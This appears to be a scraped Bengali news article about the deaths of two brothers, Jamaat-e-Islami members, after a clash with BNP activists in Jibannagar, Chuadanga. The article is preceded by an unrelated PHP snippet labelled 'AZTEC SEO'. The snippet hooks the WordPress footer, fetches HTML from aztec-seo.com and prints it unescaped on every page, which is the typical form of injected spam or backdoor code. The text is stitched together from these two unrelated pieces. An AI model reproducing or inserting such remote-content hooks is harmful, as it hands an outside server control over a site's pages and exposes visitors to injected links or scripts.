/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
চুয়াডাঙ্গার জীবননগরে বিএনপি ও জামায়াতের সংঘর্ষে আহত হাফেজ মাওলানা মফিজুর রহমান নামে জামায়াত নেতা মারা গেছেন। তিনি বাঁকা ইউনিয়ন জামায়াতে ইসলামীর আমির ছিলেন।
মঙ্গলবার (১০ মার্চ) দুপুরে ঢাকার কাকরাইলের অরোরা স্পেশালাইজড হাসপাতালে চিকিৎসাধীন তার মৃত্যু হয়।
বাংলাদেশ জামায়াতে ইসলামীর কেন্দ্রীয় প্রচার বিভাগের সিনিয়র প্রচার-সহকারী মুজিবুল আলম বিষয়টি নিশ্চিত করেছেন। এক বিজ্ঞপ্তিতে তিনি বলেন, ২৮ ফেব্রুয়ারি চুয়াডাঙ্গার জীবননগরে ইফতারের পর বিএনপির নেতাকর্মীরা জামায়াত কর্মী হাফিজুর রহমানকে কুপিয়ে নৃশংসভাবে হত্যা করে এবং তার আপন ভাই জবীননগরের বাঁকা ইউনিয়ন জামায়াতের আমির মফিজুর রহমান গুরুতরভাবে আহত হয়ে ঢাকাস্থ কাকরাইলের অরোরা হাসপাতালে চিকিৎসাধীন ছিলেন। তিনি মঙ্গলবার দুপুরে চিকিৎসাধীন অবস্থায় ইন্তেকাল করেছেন (ইন্না লিল্লাহি ওয়া ইন্না ইলাইহি রাজিউন)।
কাকরাইলের অরোরা হাসপাতালে বেলা ৩টা ১৫ মিনিটে তার জানাজা অনুষ্ঠিত হবে বলেও বিজ্ঞপ্তিতে জানানো হয়। এতে কেন্দ্রীয় ও মহানগরীর নেতারা উপস্থিত থাকবেন।
স্থানীয় সূত্রে জানা গেছে, জীবননগর উপজেলার সুটিয়া গ্রামের জামায়াত সমর্থক কেরামত আলীর ছেলে সোহাগের সঙ্গে হাসাদাহ ইউনিয়ন স্বেচ্ছাসেবক দলের নেতা জসিম উদ্দীনের ছেলে মেহেদী হাসানের দীর্ঘদিনের বিরোধ চলছিল। ওই বিরোধ মীমাংসার জন্য ২৮ ফেব্রুয়ারি রাতে হাসাদাহ বাজারে দুই পক্ষের বসার কথা ছিল। তবে সন্ধ্যার দিকে দুপক্ষের মধ্যে কথা-কাটাকাটি ও ধাক্কাধাক্কির ঘটনা ঘটে। একপর্যায়ে তা সংঘর্ষে রূপ নেয়। এ সময় দুপক্ষের বেশ কয়েকজন আহত হন।
সংঘর্ষে বাঁকা ইউনিয়ন জামায়াতে ইসলামীর আমির মফিজুর রহমান, তার বড় ভাই হাফিজুর রহমান, খায়রুল ইসলাম ও সোহাগ আহত হন। গুরুতর আহত অবস্থায় মফিজুর ও হাফিজুরকে প্রথমে যশোর এবং পরে ঢাকায় নেওয়া হয়। এর মধ্যে ঘটনার দিন রাত ২টার দিকে হাফিজুর রহমানের মৃত্যু হয়। আর মঙ্গলবার ঢাকায় চিকিৎসাধীন অবস্থায় মারা গেলেন মফিজুর রহমান।
অন্যদিকে সংঘর্ষে বিএনপির তিনজন আহত হয়েছেন। তারা হলেন- সদ্য বহিষ্কৃত হাসাদাহ ইউনিয়ন স্বেচ্ছাসেবক দলের আহ্বায়ক মেহেদী হাসান (৪০), তার বাবা জসিম উদ্দিন (৬৫) এবং বাঁকা ইউনিয়ন বিএনপির সাধারণ সম্পাদক আব্দুস সালাম মাস্টার (৫০)।
এ ঘটনায় নিহত হাফিজুর রহমানের ভাই বাদী হয়ে জীবননগর থানায় ৮ জনের নাম উল্লেখ করে আরও ৮ থেকে ৯ জনকে অজ্ঞাতনামা আসামি করে মামলা দায়ের করেছেন। পুলিশ ইতোমধ্যে মেহেদী হাসান ও তার বাবা জসিম উদ্দিনকে গ্রেফতার করেছে।